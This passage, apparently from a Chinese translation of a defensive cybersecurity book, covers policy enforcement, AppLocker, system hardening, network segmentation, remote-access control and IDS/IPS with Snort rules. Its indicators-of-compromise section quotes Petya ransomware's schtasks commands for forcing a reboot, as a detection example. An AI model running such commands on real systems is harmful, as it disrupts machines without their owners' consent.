如果您对安全策略的当前状态不确定,您应该使用 PowerShell 命令Get-GPOReport执行初始评估,将所有策略导出到 HTML 文件。确保您从域控制器运行以下命令:

PS C:> Import-Module GroupPolicy
PS C:> Get-GPOReport -All -ReportType HTML -Path .GPO.html  

此命令的结果如下所示:

还建议你在对当前组策略进行任何更改之前备份当前配置并复制此报告。你还可以使用另一个工具来执行此评估,即策略查看器,它是 Microsoft 安全合规工具包的一部分,可以从www.microsoft.com/en-us/download/details.aspx?id=55319获取:

该工具的优点是它不仅查看 GPO,还查看政策与注册表键值之间的关联。

应用程序白名单

如果贵组织的安全政策规定仅允许经过许可的软件在用户的计算机上运行,则需要防止用户运行未授权的软件,同时还需要限制未获得 IT 授权的许可软件的使用。政策执行确保只有授权的应用程序可以在系统上运行。

我们建议你阅读 NIST 出版物800-167以获取有关应用程序白名单的进一步指导。你可以从nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-167.pdf下载此指南。

在规划应用程序的政策执行时,你应该创建一个所有授权在公司内使用的应用程序列表。基于这个列表,你应该通过以下问题调查这些应用程序的详细信息:

  • 每个应用程序的安装路径是什么?

  • 这些应用程序的供应商更新政策是什么?

  • 这些应用程序使用了哪些可执行文件?

你能获得的关于应用程序本身的信息越多,你就拥有越多的实际数据来判断应用程序是否被篡改。对于 Windows 系统,你应该计划使用 AppLocker 并指定哪些应用程序被允许在本地计算机上运行。

在 AppLocker 中,有三种条件可以用来评估应用程序,它们是:

  • 发布者:如果你想创建一个规则来评估由软件供应商签名的应用程序,则应使用此选项。

  • 路径:如果你想创建一个规则来评估应用程序路径,则应使用此选项。

  • 文件哈希:如果你想创建一个规则来评估未由软件供应商签名的应用程序,则应使用此选项。

当你运行创建可执行规则向导时,这些选项将出现在条件页面上:

您选择哪个选项将取决于您的需求,但这三个选择应该涵盖大多数部署场景。请记住,根据您选择的选项,下一页将出现一组新的问题。确保您阅读docs.microsoft.com/en-us/windows/device-security/applocker/applocker-overview上的 AppLocker 文档。

要在 Apple OS 中列出应用程序,您可以使用 Gatekeeper (support.apple.com/en-us/HT202491),在 Linux OS 中您可以使用 SELinux。

加固

当您开始规划策略部署并确定应该更改哪些设置以更好地保护计算机时,您基本上是在加固这些设置以减少攻击向量。您可以将通用配置枚举CCE)指南应用于您的计算机。

为了优化您的部署,您还应考虑使用安全基线。这可以帮助您更好地管理计算机的安全性,同时也符合公司政策的合规性。对于 Windows 平台,您可以使用 Microsoft 安全合规性管理器:

在左侧窗格中,您可以看到所有支持的操作系统版本和一些应用程序。

让我们以 Windows Server 2012 为例。一旦您点击这个操作系统,您将会看到该服务器的不同角色。以 WS2012 Web 服务器安全 1.0 模板为例,我们有一组 203 个独特的设置,将增强服务器的整体安全性:

要查看每个设置的更多详细信息,您应该点击右侧窗格中的配置名称:

所有这些设置都将具有相同的结构——描述、附加详细信息、漏洞、潜在影响和对策。这些建议基于 CCE,这是基线安全配置的行业标准。确定最适合您的服务器/工作站的模板后,您可以通过 GPO 部署它。

要加固 Linux 计算机,请查找每个发行版上可用的安全指南。例如,对于 Red Hat,请使用可在access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/pdf/Security_Guide/Red_Hat_Enterprise_Linux-6-Security_Guide-en-US.pdf找到的安全指南。

当谈到加固时,您希望确保利用所有操作系统功能来大幅提高计算机的安全状态。对于 Windows 系统,您应考虑使用增强缓解体验工具包EMET)。

EMET 通过预见并防止攻击者利用 Windows 系统中的漏洞来获取计算机的访问权限,从而帮助防止攻击者的入侵。这不仅仅是一个检测工具,它实际上通过转移、终止、阻止和使攻击者的行为无效来提供保护。使用 EMET 保护计算机的一个优点是能够阻止新的和尚未发现的威胁:

“系统状态”部分显示已配置的安全缓解措施。尽管理想的情况是启用所有这些缓解措施,但根据每台计算机的需要,这一配置可能会有所不同。屏幕的下半部分显示哪些进程已启用 EMET。在前面的示例中,只有一个应用程序启用了 EMET。EMET 通过将一个 DLL 注入到可执行文件的内存空间中来工作,因此,当你配置一个新的进程以便通过 EMET 进行保护时,你需要关闭该应用程序并重新打开——服务也是如此。

要保护列表中的另一个应用程序,右键单击该应用程序并点击“配置进程”:

在应用程序配置窗口中,你可以选择希望为该应用程序启用的缓解措施。

了解更多关于 EMET 及其可用选项的信息,请下载 EMET 用户指南,访问 www.microsoft.com/en-us/download/details.aspx?id=53355

合规性监控

虽然强制执行策略对于确保高层管理的决策转化为优化公司安全状态的实际行动至关重要,但监控这些策略的合规性同样不可或缺。

基于 CCE 指南定义的策略可以通过工具(如 Azure 安全中心)轻松监控,这些工具不仅监控 Windows 虚拟机和计算机,还监控运行 Linux 软件的计算机:

操作系统漏洞仪表板显示当前在 Windows 和 Linux 系统中打开的所有安全策略的全面视图。如果你点击某个特定策略,你将看到有关该策略的更多详细信息,包括为何缓解该漏洞至关重要的原因。请注意,在页面的末尾,你将看到为缓解此特定漏洞而建议的对策。由于这是基于 CCE,因此对策始终是操作系统或应用程序配置的更改。

不要将 CCE 与 常见漏洞与暴露CVE)混淆,CVE 通常需要通过部署补丁来缓解某个已暴露的漏洞。有关 CVE 的更多信息,请访问 cve.mitre.org/

重要的是要强调,Azure 安全中心不会为你部署配置。这是一个监控工具,而不是部署工具,这意味着你需要获取对策建议,并通过其他方法进行部署,例如 GPO。

另一个可以用来获取计算机安全状态的完整视图并识别潜在的不合规情况的工具是Microsoft Operations Management SuiteOMS)的安全和审计解决方案,特别是安全基准评估选项,如下图所示:

此仪表板将根据优先级(关键、警告和信息)以及失败的规则类型(注册表、安全性、审计或基于命令)提供统计信息。两个工具(Azure 安全中心和 OMS 安全性)都适用于 Windows 和 Linux,适用于 Azure 或 Amazon AWS 中的虚拟机,以及本地计算机。

参考资料

  1. 联邦信息系统和组织的安全与隐私控制 nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf

  2. NIST 800-53 书面信息安全程序(WISP) 安全策略示例 examples.complianceforge.com/example-nist-800-53-written-information-security-program-it-security-policy-example.pdf

  3. 互联网安全威胁报告 第 22 卷 s1.q4cdn.com/585930769/files/doc_downloads/lifelock/ISTR22_Main-FINAL-APR24.pdf

  4. 揭露 Twitter 上持久的饮食垃圾邮件操作 www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/uncovering-a-persistent-diet-spam-operation-on-twitter.pdf

  5. 社交媒体安全 blogs.technet.microsoft.com/yuridiogenes/2016/07/08/social-media-security/

  6. CBS 解雇副总裁,因为他说拉斯维加斯的受害者不值得同情,因为乡村音乐迷“往往是共和党人” www.foxnews.com/entertainment/2017/10/02/top-cbs-lawyer-no-sympathy-for-vegas-vics-probably-republicans.html

  7. 佛罗里达教授因建议德克萨斯州在投票支持特朗普后“应该遭遇哈维风暴”而被解雇 www.independent.co.uk/news/world/americas/us-politics/florida-professor-fired-trump-harvey-comments-texas-deserved-hurricane-storm-a7919286.html

  8. 微软安全合规性管理器 www.microsoft.com/en-us/download/details.aspx?id=53353

  9. Red Hat 企业版 Linux 6 安全指南 access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/pdf/Security_Guide/Red_Hat_Enterprise_Linux-6-Security_Guide-en-US.pdf

  10. AppLocker - 深度防御中抵御恶意软件的另一层保护 blogs.technet.microsoft.com/askpfeplat/2016/06/27/applocker-another-layer-in-the-defense-in-depth-against-malware/

    增强缓解体验工具包 (EMET) 5.52

    www.microsoft.com/en-us/download/details.aspx?id=54264&751be11f-ede8-5a0c-058c-2ee190a24fa6=True

  11. 社交媒体安全 blogs.technet.microsoft.com/yuridiogenes/2016/07/08/social-media-security/

总结

在本章中,你了解了制定安全政策的重要性,以及如何通过安全计划来推动这一政策。你理解了制定清晰且完善的社交媒体指南的重要性,这些指南能为员工提供公司对公共帖子看法的准确视角,并阐明违反这些指南的后果。

安全计划的一部分包括安全意识培训,旨在教育最终用户有关安全相关的主题。这是一个至关重要的步骤,因为最终用户始终是安全链中最薄弱的一环。

在本章后续内容中,你将了解公司如何利用不同的工具集来执行安全政策。政策执行的一部分包括应用程序白名单和系统加固。最后,你学习了如何监控这些政策的合规性,并学习了如何使用工具来实现这一点。

在下一章中,我们将继续讨论防御策略,这一次你将学习更多关于网络分段的内容,以及如何利用这一技术来增强你的保护。

第十章:网络分段

我们在上一章中通过强化强大且有效的安全策略的重要性,开始了防御战略。现在是时候继续推进这一愿景,确保网络基础设施的安全,而实现这一目标的第一步是确保网络已经分段、隔离,并提供应对入侵的机制。蓝队必须充分了解网络分段的不同方面,从物理到虚拟,以及远程访问。即使公司并非完全基于云计算,它们仍然需要考虑在混合场景下与云的连接,这意味着安全控制措施也必须到位,以增强环境的整体安全性,网络基础设施安全是实现这一目标的基础。

在本章中,我们将覆盖以下主题:

  • 深度防御方法

  • 物理网络分段

  • 保护远程访问网络

  • 虚拟网络分段

  • 混合云网络安全

深度防御方法

虽然你可能认为这是一种过时的方法,不适用于当今的需求,但现实情况是,它仍然适用,尽管你不会再使用过去的技术。深度防御方法背后的整体思想是确保你有多层次的保护,并且每一层都会有自己的一套安全控制,最终会延缓攻击的进程,每一层中的传感器也会提醒你是否发生了什么。换句话说,就是在任务完全执行之前,打破攻击的“杀链”。

但为了实施符合当今需求的深度防御方法,你需要将自己从物理层中抽象出来,纯粹根据入口点思考防护层级。让我们使用以下示意图作为当今深度防御实施的例子:

攻击者可以广泛访问不同的资源。他们可以攻击基础设施和服务、传输中的文档以及终端设备,这意味着你需要在每个可能的场景中增加攻击者的成本。接下来我们将分解这个示意图。

基础设施和服务

攻击者可以通过攻击公司的基础设施和服务来破坏公司的生产力。需要意识到,即使在仅有本地部署的情况下,你仍然拥有服务,但这些服务由本地 IT 团队控制。你的数据库服务器就是一个服务:它存储着用户使用的关键数据,如果它无法使用,将直接影响用户的生产力,从而对你的组织造成负面的财务影响。在这种情况下,你需要列举出组织提供给最终用户和合作伙伴的所有服务,并识别可能的攻击途径。

一旦识别出攻击向量,您需要添加能缓解这些漏洞的安全控制措施——例如,通过补丁管理强制合规性、通过安全策略保护服务器、网络隔离、备份等。所有这些安全控制措施都是保护层,它们是基础设施和服务领域内的保护层。其他保护层则需要为基础设施的不同区域添加。

在同一图中,您还可以看到云计算,在这种情况下是基础设施即服务IaaS),因为该公司使用了位于云中的虚拟机。如果您已经完成了威胁建模并在本地实施了安全控制措施,现在您需要重新评估在本地引入云连接的情况。通过创建混合环境,您需要重新验证威胁、潜在的入口点以及这些入口点可能如何被利用。此过程的结果通常是得出结论,必须实施其他安全控制措施。

总结来说,基础设施安全必须减少漏洞数量和严重性,缩短暴露时间,并增加利用的难度和成本。通过采用分层的方法,您可以实现这一目标。

传输中的文档

尽管图中提到的是文档,但这可以是任何类型的数据,而这些数据在传输过程中通常是脆弱的(从一个位置到另一个位置)。确保您利用加密来保护传输中的数据。此外,不要认为加密传输只应在公共网络中进行——它也应在内部网络中实施。

例如,前面图中显示的本地基础设施中所有可用的段都应使用网络级加密,如 IPSec。如果需要跨网络传输文档,请确保加密整个路径,当数据最终到达目的地时,也要在存储中对数据进行静态加密。

除了加密外,您还必须添加其他安全控制措施,用于监控和访问控制,如下图所示:

请注意,您基本上是在添加不同的保护和检测层,这就是深度防御方法的本质。您需要通过这种方式思考您想要保护的资产。

让我们看另一个例子,如下图所示。这是一个在本地服务器上进行静态加密的文档的例子;它通过互联网传输,用户在云端进行身份验证,并且加密一直保持到移动设备,在移动设备的本地存储中也进行了静态加密:

此图表显示,在混合场景下,攻击向量会发生变化,你应该考虑整个端到端的通信路径,以便识别潜在的威胁和应对措施。

端点

在为端点规划深度防御时,需要超越计算机的范畴。如今,端点基本上是任何可以消费数据的设备。应用程序决定了哪些设备将得到支持,只要你与开发团队保持同步,你应该知道哪些设备被支持。一般来说,大多数应用程序都适用于移动设备和计算机。某些其他应用程序将突破这一限制,并允许通过可穿戴设备(如 Fitbit)访问。无论设备形态如何,你都必须进行威胁建模,揭示所有攻击向量,并根据情况规划缓解措施。针对端点的一些对策包括:

  • 企业数据和个人数据/应用程序的分离(隔离)

  • 使用 TPM 硬件保护

  • 操作系统强化

  • 存储加密

端点保护应考虑企业拥有的设备和自带设备(BYOD)。要了解更多关于 BYOD 的厂商无关方法,请阅读这篇文章:blogs.technet.microsoft.com/yuridiogenes/2014/03/11/byod-article-published-at-issa-journal/

物理网络分段

蓝队在处理网络分段时面临的最大挑战之一是准确了解当前网络的实施情况。这是因为,大多数情况下,网络会根据需求增长,而网络扩展时其安全功能并未得到重新审视。对于大型企业来说,这意味着需要重新思考整个网络,甚至可能需要从头开始重新设计网络。

建立适当的物理网络分段的第一步是根据公司需求理解资源的逻辑分布。这打破了“千篇一律适用”的神话,实际上它并不适用。你必须逐个分析每个网络案例,并根据资源需求和逻辑访问规划网络分段。对于中小型组织来说,按照部门聚合资源可能更容易——例如,财务部门、人力资源、运营等所属的资源。如果是这种情况,你可以为每个部门创建一个虚拟局域网VLAN),并对每个部门的资源进行隔离。这种隔离可以提高性能和整体安全性。

这个设计的问题在于用户/组与资源之间的关系。以文件服务器为例。大多数部门最终都需要访问文件服务器,这意味着他们需要跨越 VLAN 才能访问该资源。跨 VLAN 访问将需要多个规则、不同的访问条件以及更多的维护。因此,大型网络通常避免这种方法,但如果符合您的组织需求,您也可以使用它。其他资源聚合方法可以基于以下方面:

  • 业务目标:使用这种方法,您可以根据共同的业务目标创建包含资源的 VLAN。

  • 敏感性级别:假设您已对资源进行了最新的风险评估,可以根据风险级别(高、中、低)创建 VLAN。

  • 位置:对于大型组织,有时基于位置组织资源会更为合理。

  • 安全区域:通常,这种类型的分段会与其他分段结合使用以达到特定目的,例如,将所有由合作伙伴访问的服务器放在一个安全区域内。

尽管这些是常见的资源聚合方法,可能会导致基于 VLAN 的网络分段,但您也可以混合使用这些方法。下图展示了这种混合方法的示例:

在这种情况下,我们有工作组交换机(例如,思科 Catalyst 4500),它具备 VLAN 功能,连接到一个中央路由器,路由器将对这些 VLAN 进行路由控制。理想情况下,这个交换机应具备安全功能,限制来自不受信任的二层端口的 IP 流量,这个功能称为端口安全。该路由器包括访问控制列表,确保只有授权流量能够跨越这些 VLAN。如果您的组织需要更深入地检查 VLAN 之间的流量,还可以使用防火墙来执行路由和检查。请注意,VLAN 之间的分段使用不同的方法是完全可以接受的,只要您规划好当前状态及其未来扩展方式。

如果您使用 Catalyst 4500,请确保启用动态 ARP 检查功能。该功能可以保护网络免受某些“中间人”攻击。有关此功能的更多信息,请访问www.cisco.com/c/en/us/td/docs/switches/lan/catalyst4500/12-2/25ew/configuration/guide/conf/dynarp.html

请查阅您的路由器和交换机文档,了解可能因供应商不同而有所差异的更多安全功能,并确保使用以下最佳实践:

  • 使用 SSH 管理您的交换机和路由器。

  • 限制管理接口的访问。

  • 禁用未使用的端口。

  • 利用安全功能防止 MAC 洪泛攻击。

  • 利用端口级别的安全性来防止攻击,例如 DHCP 嗅探

  • 确保更新交换机和路由器的固件及操作系统

发现你的网络

蓝队在处理已经投入生产的网络时,可能面临的一个挑战是理解网络拓扑和关键路径,以及网络的组织方式。解决这个问题的一种方法是使用网络映射工具来呈现当前的网络状态。一个可以帮助你做到这一点的工具是 Solarwinds 的网络性能监控套件。安装后,你需要从网络声纳向导中启动网络发现过程,如下所示:

在点击下一步之前,你需要填写所有这些字段,完成后它将开始发现过程。最后,你可以验证你的 NetPath,它显示了主机与互联网之间的完整路径:

这个套件中另一个可用的选项是使用网络图谱来创建资源的地理位置图,如下所示:

在发现你的网络时,确保记录下所有相关方面,因为你稍后需要这些文档来正确执行网络分段。

保护远程访问网络

没有考虑远程访问公司网络的安全性,任何网络分段计划都无法完整。即使你的公司没有远程工作的员工,也有可能在某个时候,员工需要远程访问公司的资源。如果是这种情况,你不仅需要考虑你的分段计划,还需要一个能够在允许访问公司网络之前评估远程系统的网络访问控制系统;这个评估包括验证以下细节:

  • 远程系统已经安装了最新的补丁

  • 远程系统已启用杀毒软件

  • 远程系统已启用个人防火墙

  • 远程系统符合强制性安全政策

以下图示展示了一个网络访问控制NAC)系统的示例:

在这种场景下,NAC 不仅负责验证远程设备的当前健康状态,还通过允许源设备仅与预定义的位于本地的资源通信,执行软件级别的分段。这增加了额外的分段和安全层。虽然图示中没有包含防火墙,但一些公司可能会选择将所有远程访问用户隔离在一个特定的 VLAN 中,并在该段与企业网络之间设置防火墙,以控制来自远程用户的流量。这通常在你想限制用户远程访问系统时使用。

我们假设这一通信的认证部分已经完成,并且对于远程访问用户,首选的方式之一是使用 802.1X 或兼容方式。

同样,重要的是要有一个隔离的网络,用于隔离那些未达到访问网络资源最低要求的计算机。这个隔离网络应该提供修复服务,扫描计算机并应用适当的修复措施,以便计算机能够访问企业网络。

站点到站点 VPN

对于拥有远程地点的组织来说,一个常见的场景是建立主公司网络与远程网络之间的安全私有通信通道,通常是通过站点到站点 VPN 实现。当规划网络分段时,你必须考虑这种情况,以及这种连接会如何影响你的网络。

以下图示展示了这种连接的一个例子:

在前面示出的网络设计中,每个分支机构在防火墙中都有一套规则,这意味着当站点到站点 VPN 连接建立时,远程分支机构将无法访问总部的整个主网络,而只能访问其中一些子网。在规划站点到站点 VPN 时,请确保遵循“需要知道”原则,仅允许访问真正必要的部分。如果东部分支办公室不需要访问 HR VLAN,那么应阻止对该 VLAN 的访问。

虚拟网络分段

安全必须嵌入到网络设计中,无论是物理网络还是虚拟网络。在这种情况下,我们讨论的不是原本在物理网络中实现的 VLAN,而是虚拟化。让我们以以下图示作为起点:

在规划虚拟网络分段时,必须首先访问虚拟化平台,以查看哪些功能可用。然而,你可以使用与厂商无关的方法开始规划核心分段,因为核心原则在不同平台间是相同的,这基本上就是前面图表所传达的内容。请注意,在虚拟交换机内部是存在隔离的;换句话说,一个虚拟网络的流量不会被另一个虚拟网络看到。每个虚拟网络可以有自己的子网,并且虚拟网络中的所有虚拟机都能够互相通信,但流量不会穿越到另一个虚拟网络。如果你想让两个或更多虚拟网络之间进行通信呢?在这种情况下,你需要一个路由器(它可以是启用了路由服务的虚拟机),并且该路由器有多个虚拟网络适配器,每个虚拟网络分配一个适配器。

如你所见,核心概念与物理环境非常相似,唯一的区别在于实现方式,具体实现可能会因厂商而异。以 Microsoft Hyper-V(Windows Server 2012 及更高版本)为例,在虚拟交换机层面,可以使用虚拟扩展实现一些安全检查。以下是一些可以增强网络安全的示例:

  • 网络数据包检查

  • 入侵检测或防火墙

  • 网络数据包过滤器

使用这些类型的扩展的好处在于,你可以在将数据包传输到其他网络之前进行检查,这对于你的整体网络安全策略非常有益。

下图展示了这些扩展的位置示例。你可以通过使用 Hyper-V 管理器并选择 ARGOS 的虚拟交换机管理器属性来访问此窗口:

许多时候,源自一台虚拟机的流量可以穿越物理网络并到达连接到企业网络的另一台主机。因此,重要的是要始终考虑,尽管流量在虚拟网络内部是隔离的,但如果网络路由到其他网络已被定义,数据包仍然会被传递到目标。确保在虚拟交换机中启用以下功能:

  • MAC 地址伪造:防止恶意流量从伪造的地址发送

  • DHCP 保护:防止虚拟机作为 DHCP 服务器进行操作或响应

  • 路由器保护:防止虚拟机发送路由广告和重定向消息

  • 端口 ACL(访问控制列表):允许你基于 MAC 或 IP 地址配置特定的访问控制列表

这些只是你可以在虚拟交换机中实现的一些示例。请记住,如果你使用第三方虚拟交换机,通常可以扩展这些功能。

例如,微软 Hyper-V 的 Cisco Nexus 1000V 交换机提供了更精细的控制和安全性。有关更多信息,请阅读 www.cisco.com/c/en/us/products/switches/nexus-1000v-switch-microsoft-hyper-v/index.html

混合云网络安全

根据 McAfee 在 2017 年 4 月发布的报告《在多云天空下建立信任》,混合云的采用在上一年增长了三倍,意味着参与调查的组织中,从 19% 增加到了 57%。简而言之,可以说你的组织迟早会与云建立某种程度的连接,按照常规的迁移趋势,第一步就是实施混合云。

本节仅涵盖混合云安全考虑的一个子集。如需更全面的内容,请阅读 混合云计算实用指南。可以从 www.cloud-council.org/deliverables/CSCC-Practical-Guide-to-Hybrid-Cloud-Computing.pdf 下载。

在设计你的混合云网络时,需要考虑之前解释过的所有内容,并规划如何将这个新实体与你的环境集成。许多公司将采用站点到站点 VPN 连接直接接入云并隔离具有云连接的段。虽然这是一种不错的方法,但通常站点到站点 VPN 会增加额外的成本,并需要额外的维护。另一种选择是使用直连云的路线,例如 Azure ExpressRoute。

虽然你对本地网络和配置拥有完全控制权,但云虚拟网络将是你需要管理的新事物。因此,熟悉云服务提供商的 IaaS 提供的网络功能,以及如何保障这一网络的安全性,变得非常重要。以 Azure 为例,快速评估虚拟网络配置的一种方法是使用 Azure 安全中心。Azure 安全中心将扫描属于你订阅的 Azure 虚拟网络,并为潜在的安全问题提供缓解建议,如下图所示:

推荐事项的列表可能会根据你的 Azure 虚拟网络VNET)及其资源配置方式有所不同。以第二个警报为例,它是一个中等级别的警报,内容为 限制通过面向互联网的端点访问。点击它后,你会看到关于该配置的详细解释,以及需要采取的措施来提高安全性:

这个网络安全评估对于需要将本地网络与云基础设施整合的混合场景来说至关重要。

参考文献

  1. 网络性能监控器 www.solarwinds.com/network-performance-monitor

  2. 使用 TrustSec 部署指南进行用户到数据中心访问控制 www.cisco.com/c/dam/en/us/td/docs/solutions/CVD/Apr2016/User-to-DC_Access_Control_Using_TrustSec_Deployment_April2016.pdf

  3. Windows Server 2012 中 Hyper-V 的安全指南 technet.microsoft.com/en-us/library/dn741280(v=ws.11).aspx

  4. McAfee 的《在阴云密布的天空中建立信任》报告 www.mcafee.com/us/resources/reports/rp-building-trust-cloudy-sky-summary.pdf

  5. 混合云计算实践指南 www.cloud-council.org/deliverables/CSCC-Practical-Guide-to-Hybrid-Cloud-Computing.pdf

总结

在本章中,你了解了采用深度防御方法的当前需求,以及如何利用这一传统方法来防御当前的威胁。你学习了不同的保护层级以及如何提高每一层的安全性。物理网络分段是接下来讨论的主题,在这里你了解了网络分段的重要性以及如何正确规划实施这一措施。你还了解到,网络分段不仅仅适用于本地资源,也适用于远程用户和远程办公室。你还学习了,对于蓝队来说,在没有准确了解当前网络拓扑的情况下,规划和设计这一解决方案可能会面临挑战,为了解决这个问题,你学习了一些可以在发现过程中使用的工具。最后,你了解了虚拟网络分段的重要性以及如何监控混合云连接。

在下一章中,我们将继续讨论防御策略。这一次,你将学习更多关于应当实施的传感器,以主动监控你的资源并快速识别潜在威胁。

第十一章:主动传感器

现在,您的网络已被分段,您需要主动监控以检测可疑活动和威胁,并根据此采取行动。如果没有良好的检测系统,您的安全防护将不完全,这意味着您需要在网络中分布合适的传感器来监控活动。蓝队应该利用现代检测技术,这些技术能够为用户和计算机创建一个配置文件,更好地理解异常和偏离正常操作的行为,并采取预防措施。

在本章中,我们将涵盖以下主题:

  • 检测能力

  • 入侵检测系统

  • 入侵防御系统

  • 本地行为分析

  • 混合云中的行为分析

检测能力

当前的威胁态势要求对检测系统采取新的方法,依赖于传统的复杂性来微调初始规则、阈值、基线,并且仍然面临大量的误报,对于许多组织来说,这已变得不可接受。在准备防御攻击者时,蓝队必须利用一系列技术,包括:

  • 来自多个数据源的数据关联

  • 性能分析

  • 行为分析

  • 异常检测

  • 活动评估

  • 机器学习

需要强调的是,一些传统的安全控制措施,如协议分析和基于签名的反恶意软件,仍然在防线中占有一席之地,但它们主要用于应对传统威胁。您不应该仅仅因为反恶意软件软件没有机器学习功能就卸载它,它仍然是对您的主机的一层保护。记得我们在上一章中讨论的“深度防御”方法吗?把这种保护看作是防御的一层,现在您需要汇聚其他层次来增强您的安全防护。

另一方面,传统的防御者思维方式——仅关注高权限用户的监控——已经过时,您不能再采取这种方法。当前的威胁检测必须覆盖所有用户账户,进行配置文件分析,并理解他们的正常行为。当前的威胁行为者将尝试妥协普通用户,保持在网络中潜伏,继续通过横向移动进行入侵,并提升权限。因此,蓝队必须有检测机制,能够识别所有设备、位置上的这些行为,并根据数据关联发出警报,正如下图所示:

当您对数据进行上下文化时,您自然会减少误报的数量,并为调查员提供更有意义的结果。

妥协指标

在谈论检测时,重要的是要提到妥协指标IoC)。当新威胁在实际环境中被发现时,它们通常具有一定的行为模式,并且会在目标系统中留下痕迹。

例如,Petya 勒索软件在目标系统上运行以下命令来重新安排重启:

    schtasks /Create /SC once /TN "" /TR "<system folder>shutdown.exe /r /f" /ST <time>
    cmd.exe /c schtasks /RU "SYSTEM" /Create /SC once /TN "" /TR "C:Windowssystem32shutdown.exe /r /f" /ST <time>

另一个 Petya IoC 是在 TCP 139 和 TCP 445 端口上的本地网络扫描。这些是表明目标系统正在受到攻击的重要迹象,并且根据这些足迹,可以将责任归咎于 Petya。检测系统将能够收集这些妥协指标,并在攻击发生时发出警报。以 Azure 安全中心为例,在 Petya 爆发后的几个小时,安全中心自动更新了其检测引擎,并能够警告用户他们的机器已被攻破,如下图所示:

你可以通过 OpenIOC (openioc.org) 注册账号,获取有关新 IoC 的信息,并为社区做出贡献。通过使用他们的 IoC 编辑器(请查阅参考部分以获取下载该工具的网址),你可以创建自己的 IoC,或者查看现有的 IoC。下面的示例展示了 IoC 编辑器显示的 DUQU 木马 IoC:

如果你查看右下角的窗格,你将看到所有的妥协迹象,以及逻辑运算符(在这种情况下,大多数是 AND),这些运算符将每个序列进行比较,只有在所有条件都为真时才会返回正结果。蓝队应该始终关注最新的威胁和 IoC。

你可以使用以下 PowerShell 命令从 OpenIOC 下载 IoC,下面的示例展示了如何下载 Zeus 威胁的 IoC:wget "http://openioc.org/iocs/72669174-dd77-4a4e-82ed-99a96784f36e.ioc" -outfile "72669174-dd77-4a4e-82ed-99a96784f36e.ioc"

入侵检测系统

正如其名称所示,入侵检测系统IDS)负责检测潜在的入侵并触发警报。如何处理该警报取决于 IDS 策略。在创建 IDS 策略时,你需要回答以下问题:

  • 谁应该负责监控 IDS?

  • 谁应该拥有 IDS 的管理员访问权限?

  • 事件将如何根据 IDS 生成的警报来处理?

  • IDS 的更新策略是什么?

  • 我们应该在哪里安装 IDS?

这些只是一些初步问题的示例,有助于规划 IDS 的采纳。在搜索 IDS 时,你还可以查阅 ICSA Labs 认证产品列表 (www.icsalabs.com) 以获取更多厂商特定的信息。不论品牌如何,一个典型的IDS具有以下示意图所示的功能:

虽然这些是一些核心功能,但功能的数量会根据供应商和 IDS 使用的方法有所不同。基于签名的 IDS 会查询先前攻击的签名(足迹)和已知的系统漏洞数据库,以验证所识别的内容是否为威胁,并且是否需要触发警报。由于这是一个签名数据库,因此需要不断更新,以确保使用最新版本。基于行为的 IDS 通过根据从系统中学到的内容创建模式基线来工作。一旦它学习了正常行为,就能更容易识别出偏离正常活动的情况。

IDS 警报是任何类型的用户通知,用于提醒潜在的入侵活动。

IDS 可以是基于主机的,也就是所谓的主机入侵检测系统(HIDS),其中 IDS 机制仅检测特定主机的入侵尝试,或者它可以是基于网络的入侵检测系统NIDS),它检测安装 NIDS 的网络分段的入侵。这意味着在 NIDS 的情况下,位置变得至关重要,以便收集有价值的流量。在这里,蓝队应与 IT 基础设施团队密切合作,确保 IDS 安装在网络中的战略位置。在规划 NIDS 放置时,优先考虑以下网络分段:

  • DMZ/边界

  • 核心企业网络

  • 无线网络

  • 虚拟化网络

  • 其他关键网络分段

这些传感器将监听流量,这意味着它们不会消耗太多的网络带宽。

下图展示了IDS的放置示例:

请注意,在这种情况下,IDS(实际上是 NIDS)已添加到每个分段中(利用网络交换机上的 SPAN 端口)。这总是这样吗?绝对不是!它将根据公司需求而有所不同。蓝队必须了解公司的约束条件,并帮助确定这些设备应安装的最佳位置。

入侵预防系统

入侵预防系统IPS)使用与 IDS 相同的概念,但正如名称所示,它通过采取纠正措施来防止入侵。此措施将由 IPS 管理员与蓝队合作定制。

就像 IDS 可以应用于主机(HIDS)和网络(NIDS)一样,IPS 也可以应用于这两者,分别是 HIPS 和 NIPS。NIPS 在网络中的位置至关重要,之前提到的相同准则在这里也适用。你还应该考虑将 NIPS 放置在流量的内联位置,以便能够采取纠正措施。IPS 检测通常可以在以下一种或多种模式下运行:

  • 基于规则

  • 基于异常

基于规则的检测

在此模式下操作时,IPS 会将流量与一组规则进行比较,并尝试验证流量是否符合规则。当你需要部署新规则以阻止利用漏洞的尝试时,这非常有用。像Snort这样的 NIPS 系统,能够通过基于规则的检测来阻止威胁。例如,Snort 规则 Sid 1-42329能够检测到Win.Trojan.Doublepulsar变体。

Snort 规则位于etc/snort/rules文件夹下,你可以从www.snort.org/downloads/#rule-downloads下载其他规则。当蓝队与红队进行演练时,很可能需要根据流量模式和红队渗透系统的尝试创建新规则。有时候你需要多个规则来缓解某个威胁,例如,规则42340(Microsoft Windows SMB 匿名会话 IPC 共享访问尝试)、41978(Microsoft Windows SMB 远程代码执行尝试)和42329-42332Win.Trojan.Doublepulsar变体)可以用来检测 WannaCry 勒索病毒。其他 IPS 也适用,例如,Cisco IPS 拥有7958/07958/1签名,用于处理 WannaCry。

订阅 Snort 博客以获取关于新规则的更新:blog.snort.org

使用开源 NIPS(例如 Snort)的一个优势是,当新威胁在野外出现时,社区通常会迅速响应,发布新的规则来检测该威胁。例如,当 Petya 勒索病毒被检测到时,社区创建了一条规则,并发布在 GitHub 上(你可以在这里查看该规则:goo.gl/mLtnFM)。尽管厂商和安全社区非常迅速地发布新规则,蓝队仍应密切关注新的 IoC,并根据这些 IoC 创建 NIPS 规则。

基于异常的检测

在这种情况下,异常是基于 IPS 所归类为异常的内容,这一分类通常基于启发式算法或一组规则。其中一种变体被称为统计异常检测,它会在随机时间采样网络流量,并与基准进行比较。如果该样本超出了基准范围,则会采取措施(警报并跟随执行动作)。

本地环境中的行为分析

